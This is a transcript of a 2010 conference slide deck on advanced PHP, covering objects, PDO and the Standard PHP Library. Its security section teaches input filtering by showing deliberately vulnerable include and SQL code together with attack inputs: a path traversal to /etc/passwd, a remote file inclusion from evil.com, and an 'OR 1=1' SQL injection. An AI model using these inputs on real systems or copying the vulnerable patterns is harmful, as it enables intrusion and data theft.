Advanced Php - Macq Electronique 2010
-
Upload
michelangelo-van-dam -
Category
Technology
-
view
3.765 -
download
6
description
Transcript of Advanced Php - Macq Electronique 2010
Advanced PHPMacq Electronique, Brussels 2010
Michelangelo van Dam
Targeted audience
developersgeeks
software engineersgraduates computer science
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
- PHP 4 & PHP 5
- Zend Framework• Co-Founder of PHPBenelux• Shepherd of “elephpant” herds
For more information, please check out our website http://www.macqel.eu
TAIL ORMAD E SO LU T IO NS
Macq électronique, manufacturer and developer, proposes you a whole series of electronic and computing-processing solutions for industry, building and road traffic.
Macq électronique has set itself two objectives which are essential for our company :
developing with competence and innovation earning the confidence of our customers
Macq électronique presents many references carried out the last few years which attest to its human and technical abilities to meet with the greatest efficiency the needs of its customers.
Advanced PHP
Classes & ObjectsAbstraction
SecurityPHP Hidden Gems
Classes & Objects
Classes
• Class defines an object- constant features- properties- methods- magic• can inherit object properties and methods• can provide a basis for a multitude of objects
?
Object Simplified
properties methods- cycling- sitting- steering- paddling
constants- color- material- brand- type
Database Objects
Useridfullnameusernamepasswordemail
Functional Objects
MathaddValue($value)subtractValue($value)multiplyValue($value)divideValue($value)
Objects in PHP<?phpclass MyClass{ public $property;
public function setProperty($property) { $this->property = $property; return $this; } public function getProperty() { return $this->property; } }
$my = new MyClass;$my->setProperty('Test');var_dump($my);
// outputsobject(MyClass)#1 (1) { ["property"]=> string(4) "Test"}
And why is this better ?
• Uniform approach for data• Reuse of data structures and content• Providing a common vocabulary- when I say bicycle, everyone knows- when I say table User data, it gets trickier• Might be useful on other data sources as well- database- CSV files- web service- streams
Demo
Abstraction
DRY
Example data+----+----------+----------------------------------+| id | username | password |+----+----------+----------------------------------+| 1 | test1 | 5a105e8b9d40e1329780d62ea2265d8a | | 2 | test2 | ad0234829205b9033196ba818f7a872b | +----+----------+----------------------------------+
Database type
Getting data…<?php
if (false !== ($conn = mysql_connect('localhost','test',''))) { if (true === ($db = mysql_select_db('test'))) { $results = mysql_query('SELECT * FROM user', $conn); echo '<table>' . PHP_EOL; while ($row = mysql_fetch_assoc($results)) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL; } echo '</table>' . PHP_EOL; }}
// outputs:
<table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr></table>
But what if…
Database type changes
oops !
PDO
• PHP Data Objects- consistent interface- accessing databases- included since PHP 5.1 (PECL since 5.0)• data-access abstraction layer- same functions (methods)- different database products
Getting data with PDO<?php
try { $pdo = new PDO('mysql:dbname=test;host=localhost', 'test', '');} catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage();}$results = $pdo->query('SELECT * FROM user');echo '<table>' . PHP_EOL;foreach ($results as $row) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL;}echo '</table>' . PHP_EOL;
// outputs:
<table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr></table>
informix, sqlite, pgsql, oci8, mssql,…
Demo
Security
Threats
• Known threats- cyber criminal attacks- competitors espionage- bad users providing faulty data (intentionally)• Lesser known treats- users providing faulty data (not intentionally)- services not responding- bad, untested, changed code- …
Rule #1Filter input, escape output
Unfiltered data…include $_GET['filename'];
…$sql = 'SELECT * FROM test WHERE username=' . $_POST['username'] . ' AND password=MD5(' . $_POST['password'] . ')';$results = $pdo->query($sql);
Blows up in your face…include $_GET['file'];
when callingscript.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
orscript.php?file=http%3A%2F%2Fevil.com%2Fscript.php
…$sql = 'SELECT * FROM test WHERE username=\'' . $_POST['username'] . '\' AND password=MD5(' . $_POST['password'] . ')';$results = $pdo->query($sql);
What happens when you post for username: “test' OR 1=1; --”
You want to run this in your MySQL client ???SELECT * FROM test WHERE username='test' OR 1=1; --' AND password=MD5()
Filtering & Validation
• Filtering : modifying data before validation- trim whitespaces- put everything in lower case- stripping HTML-tags- …• Validation: check if the data meets conditions- data type (string, integer, float, object, …)- string length- is a valid email address- …
unescaped output
• wrong encoding on pages ( � )• translates html code into encoded entities• cross site scripting (XSS)• uncontrolled output of user generated content• …
Escaping output<?php
$string = "O'Reilly sells <b>great</b> books";
echo htmlentities($string, ENT_QUOTES, 'UTF-8') . PHP_EOL;// outputs: O'Reilly sells <b>great</b> books
Demo
PHP’s Hidden Gem
SPL
What is SPL ?
Standard PHP Libraryinterfaces, classes and methods
solve common development challenges
Available since PHP 5.0 !!!
As of 5.3 SPL cannot be turned off from the source !
SPL by Marcus Börger
Ittteerrrattor
Definition of SPL
SPL provides a huge toolkit that assists you to easily iterate over a diversity of data structures in a standardized way
What does it provide ?
• ArrayObject - approach arrays as objects• Iterators - various iterators• Interfaces - iterator interfaces for your objects• Exceptions - exceptions to streamline error handling• SPL Functions - extra functions and autoloader func• SplFileInfo - tools for filesystem access• Data structures - structuring data sequences
<?php phpinfo(); ?>
ArrayObject
• provides an interface- treat arrays as objects- elements are iteratable- provides serializing and deserializing of arrays- sorting elements (w/ or w/o callback methods)- exchange elements with other arrays or objects
ArrayObject Example<?php
$myArray = array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger',);
$obj = new ArrayObject($myArray);print_r($obj);
$obj->uasort(function ($a, $b) { if ($a == $b) { return 0; } return ($a < $b) ? -1 : 1;});print_r($obj);
ArrayObject outputArrayObject Object( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [test] => Sebastian Bergmann [iterate] => Marcus Börger )
)ArrayObject Object( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [iterate] => Marcus Börger [test] => Sebastian Bergmann )
)
More of ArrayObject…
// serializing object for caching, sessions, …$obj->serialize();
// adding more key/value elements to the stack$obj->offsetSet('enterprise', 'Ivo Jansch');
// removing by key$obj->offsetUnset('time');
…
Iterator
• provides a common interface• to iterate over “things”- xml data- database data- arrays• move back and forth in a stack• distinct methods to access keys and values• specific iterators for different purposes
Advantage ?
• Reusable code- data structures can change- object oriented❖ extending❖ refactoring❖ overloading
Example
• retrieve data in an array• with items filtered out
FilterIterator Example<?php
class filterOut extends FilterIterator{ private $_filter;
public function __construct(Iterator $it, $filter) { parent::__construct($it); $this->_filter = $filter; }
public function accept() { $key = $this->getInnerIterator()->key(); return ($key == $this->_filter) ? false : true; } }
FilterIterator output<?php
$myArray = array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger',);$obj = new ArrayObject($myArray);
$iterator = new filterOut($obj->getIterator(), 'time');
foreach ($iterator as $item) { var_dump($item);}
//ouputsstring(18) "Sebastian Bergmann"string(13) "Marcus Börger"
DirectoryIterator
• dealing with files and directories• looping back and forth between files• sorting files w/ or w/o custom sorting algorithms
Example
• show an list of archive files• ordered with last archive first
Directory contents$ ls archives/datafile-20090901.csv datafile-20090906.csv datafile-20090911.csv datafile-20090916.csv datafile-20090921.csv datafile-20090926.csvdatafile-20090902.csv datafile-20090907.csv datafile-20090912.csv datafile-20090917.csv datafile-20090922.csv datafile-20090927.csvdatafile-20090903.csv datafile-20090908.csv datafile-20090913.csv datafile-20090918.csv datafile-20090923.csv datafile-20090928.csvdatafile-20090904.csv datafile-20090909.csv datafile-20090914.csv datafile-20090919.csv datafile-20090924.csv datafile-20090929.csvdatafile-20090905.csv datafile-20090910.csv datafile-20090915.csv datafile-20090920.csv datafile-20090925.csv datafile-20090930.csv
SortableDirectorIterator<?phpclass SortableDirectoryIterator extends DirectoryIterator{ public function sortUp() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? -1 : 1; }); return $storage; } public function sortDown() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? 1 : -1; }); return $storage; }
Our Storage Container… protected function _getStorage() { $obj = new ArrayObject(); foreach ($this as $file) { if ($file->isDot()) continue; $obj->offsetSet($file->getFileName(), $file->getFileInfo()); } return $obj; }}
$dir = new SortableDirectoryIterator('./archives');$sortObj = $dir->sortDown();$iterator = $sortObj->getIterator();while ($iterator->valid()) { echo $iterator->current()->getPathName() . PHP_EOL; $iterator->next();}
Descending filenames./archives/datafile-20090930.csv./archives/datafile-20090929.csv./archives/datafile-20090928.csv./archives/datafile-20090927.csv./archives/datafile-20090926.csv./archives/datafile-20090925.csv./archives/datafile-20090924.csv./archives/datafile-20090923.csv./archives/datafile-20090922.csv./archives/datafile-20090921.csv./archives/datafile-20090920.csv./archives/datafile-20090919.csv./archives/datafile-20090918.csv./archives/datafile-20090917.csv./archives/datafile-20090916.csv
./archives/datafile-20090915.csv
./archives/datafile-20090914.csv
./archives/datafile-20090913.csv
./archives/datafile-20090912.csv
./archives/datafile-20090911.csv
./archives/datafile-20090910.csv
./archives/datafile-20090909.csv
./archives/datafile-20090908.csv
./archives/datafile-20090907.csv
./archives/datafile-20090906.csv
./archives/datafile-20090905.csv
./archives/datafile-20090904.csv
./archives/datafile-20090903.csv
./archives/datafile-20090902.csv
./archives/datafile-20090901.csv
RecursiveIteratorIterator
• iterates over existing iterator• over multiple levels• easy to flatten out nested array structures• controlling recursive interactions
ExampleChuck Norris
Account Manager
Jane DoeProject Manager
CinderellaDeveloper
ShrekGraphical Designer
John DoeProject Manager
RecursiveIteratorIterator<?php$company = array ( array ( 'name' => 'Chuck Norris','position' => 'Account Manager', 'manages' => array ( array ( 'name' => 'Jane Doe','position' => 'Project Manager', 'manages' => array ( array ( 'name' => 'Cinderella','position' => 'Developer', 'manages' => array (), ), array ( 'name' => 'Shrek','position' => 'Graphical Designer', 'manages' => array (), ), ), ), array ( 'name' => 'John Doe','position' => 'Project Manager', 'manages' => array (), ), ), ),);
Flattened Array output$iterator = new RecursiveArrayIterator(new ArrayObject($company));$ritit = new RecursiveIteratorIterator($iterator);foreach ($ritit as $key => $value) { echo $key . ' = ' . $value . PHP_EOL;}
// outputsname = Chuck Norrisposition = Account Managername = Jane Doeposition = Project Managername = Cinderellaposition = Developername = Shrekposition = Graphical Designername = John Doeposition = Project Manager
Interfaces
• Countable: an internal counter• OuterIterator: iteration over inner iterators• RecursiveIterator: iterating in an recursive way• SeekableIterator: an internal stack seeker• SplObserver: implements observer pattern• SplSubject: implements observer pattern
Interface example<?php// file: Order.php
class Order implements Countable, SplSubject{ protected $_orders; protected $_count;
public function __construct() { $this->_count = 0; $this->_orders = array (); }
public function placeOrder() { $this->_count++; }
public function attach(SplObserver $observer) { $this->_orders[] = $observer; }
public function detach(SplObserver $observer) { // not used in this case }
Interface Example (2) public function notify() { foreach ($this->_orders as $obj) { $obj->update($this); } }
public function count() { return $this->_count; }}
<?php// file: PlaceOrder.php
class PlaceOrder implements SplObserver{ public function update(SplSubject $order) { echo 'We have ' . count($order) . ' orders now' . PHP_EOL; }}
Running Interface Example<?php
require_once 'Order.php';require_once 'PlaceOrder.php';
$order = new Order();$placeOrder = new PlaceOrder();
$order->attach($placeOrder);$order->notify();
$order->placeOrder();$order->notify();
$order->placeOrder();$order->notify();
$ php ./spl_observer.php We have 0 orders nowWe have 1 orders nowWe have 2 orders now
SPL Exceptions
• SPL Exceptions- templates- throw exceptions- common issues• Types of exceptions- LogicExceptions- RuntimeExceptions
SPL LogicException Tree
SPL RuntimeException Tree
Exceptions Example<?php//file: spl_exception01.phpclass MyClass{ public function giveANumberFromOneToTen($number) { if($number < 1 || $number > 10) { throw new OutOfBoundsException('Number should be between 1 and 10'); } echo $number . PHP_EOL; }}
$my = new MyClass();try { $my->giveANumberFromOneToTen(5); $my->giveANumberFromOneToTen(20);} catch (OutOfBoundsException $e) { echo $e->getMessage() . PHP_EOL;}
Output:$ /usr/bin/php ./spl_exception01.php5Number should be between 1 and 10
SplFunctions
• functions for PHP and SPL in particular• often dealing with auto loading• some for internal referencing
SplFunctions Example<?php
interface foo {}interface bar {}
class baz implements foo, bar {}class example extends baz {}
var_dump(class_implements(new baz));
var_dump(class_implements(new example));
Output of SplFunctionsarray(2) { ["foo"]=> string(3) "foo" ["bar"]=> string(3) "bar"}array(2) { ["bar"]=> string(3) "bar" ["foo"]=> string(3) "foo"}
SPLFileInfo
The SplFileInfo class offers a high-level object oriented interface to information for an individual file.
SplFileInfo Example<?php
// use the current file to get information from$file = new SplFileInfo(dirname(__FILE__));
var_dump($file->isFile());var_dump($file->getMTime());var_dump($file->getSize());var_dump($file->getFileInfo());var_dump($file->getOwner());
//outputbool(false)int(1244760945)int(408)object(SplFileInfo)#2 (0) {}int(501)
Processing CSV with SPLConsider the following data.csv
Derick Rethans;timeSebastian Bergmann;testMarcus Börger;iterateIvo Jansch;enterpriseMatthew Weier O'Phinney;extendMichelangelo van Dam;elephpant
SPL usage on CSV<?php$info = new SplFileInfo('data.csv');if ($info->isReadable()) { $file = $info->openFile(); $file->setFlags(SplFileObject::READ_CSV); $file->setCsvControl(';','"'); foreach ($file as $row) { list ($user, $term) = $row; if (null !== $user && null !== $term) { echo $user . ' is known for ' . $term . PHP_EOL; } } }
//outputsDerick Rethans is known for timeSebastian Bergmann is known for testMarcus Börger is known for iterateIvo Jansch is known for enterpriseMatthew Weier O'Phinney is known for extendMichelangelo van Dam is known for elephpant
Data Structures
• Available in PHP 5.3• SplDoublyLinkedList- SplStack- SplQueue- SplHeap- SplMaxHeap- SplMinHeap- SplPriorityQueue
Data Structures Example<?php// file: spl_stack01.php$stack = new SplStack();$stack->push('Message 1');$stack->push('Message 2');$stack->push('Message 3');
echo $stack->pop() . PHP_EOL;echo $stack->pop() . PHP_EOL;echo $stack->pop() . PHP_EOL;
Outputs:$ /usr/bin/php ./spl_stack01.php Message 3Message 2Message 1
SplHeap
• SplHeap is an abstract class- SplMinHeap implements SplHeap (low » high)- SplMaxHeap implements SplHeap (high » low)• stacking values w/o FIFO, FILO order
Simple SplHeap example<?php
$heap = new SplMinHeap;$heap->insert(5);$heap->insert(2);$heap->insert(8);$heap->insert(6);
$heap->top();while ($heap->valid()) { echo $heap->key() . ': ' . $heap->current() . PHP_EOL; $heap->next();}
//outputs3: 22: 51: 60: 8
JupilerLeague w/ SplHeap<?phpclass JupilerLeague extends SplHeap{ public function compare($array1, $array2) { $values1 = array_values($array1); $values2 = array_values($array2); if ($values1[0] === $values2[0]) return 0; return $values1[0] < $values2[0] ? -1 : 1; }}
$heap = new JupilerLeague();$heap->insert(array ('AA Gent' => 15)); $heap->insert(array ('Anderlecht' => 20));$heap->insert(array ('Cercle Brugge' => 11)); $heap->insert(array ('Charleroi' => 12));$heap->insert(array ('Club Brugge' => 21)); $heap->insert(array ('G. Beerschot' => 15));$heap->insert(array ('Kortrijk' => 10)); $heap->insert(array ('KV Mechelen' => 18));$heap->insert(array ('Lokeren' => 10)); $heap->insert(array ('Moeskroen' => 7));$heap->insert(array ('Racing Genk' => 11)); $heap->insert(array ('Roeselare' => 6));$heap->insert(array ('Standard' => 20)); $heap->insert(array ('STVV' => 17));$heap->insert(array ('Westerlo' => 10)); $heap->insert(array ('Zulte Waregem' => 15));
$heap->top();while ($heap->valid()) { list ($team, $score) = each ($heap->current()); echo $team . ': ' . $score . PHP_EOL; $heap->next();}
JupilerLeague ScoreboardClub Brugge: 21Anderlecht: 20Standard: 20KV Mechelen: 18STVV: 17Zulte Waregem: 15AA Gent: 15G. Beerschot: 15Charleroi: 12Racing Genk: 11Cercle Brugge: 11Kortrijk: 10Lokeren: 10Westerlo: 10Moeskroen: 7Roeselare: 6
Conclusion
SPL can help you solve common PHP issuesit’s built-in, so why not use it
it requires no “advanced skills” to use
SPL is not all good
• Matthew “Elazar” Turland pointed out:- Performance could be better (SPLStack)- ArrayObject doesn’t support all array
functions• See his presentation:
http://ishouldbecoding.com/publications
Recommended Reading
Zend PHP 5 Certification Study Guidephp|architect
Davey ShafikBen Ramsey
Recommended Reading
Object-Oriented Programming with PHP5Packt Publishing
Hasin Hayder
Recommended Reading
The PHP AnthologySitepoint
Davey ShafikMatthew Weier O’PhinneyLigaya TurmelleHarry FuecksBen Balbo
Recommended Reading
Essential PHP SecurityO’Reilly
Chris Shiflett
Credits
I want to believe - Official X-files movie posterhttp://www.xfiles.com
Composition No. 10. 1939-42. Piet Mondrian (WikiPedia Faire Use License)http://en.wikipedia.org/wiki/File:Mondrian_Comp10.jpg
Security - amelungchttp://flickr.com/photos/amelungc/3383538729
Warhol Inspired Gems - Jayt74http://flickr.com/photos/jayt74/3910181470
Questions ?
Slides on SlideSharehttp://www.slideshare.net/group/macqel
Give feedback !http://joind.in/1257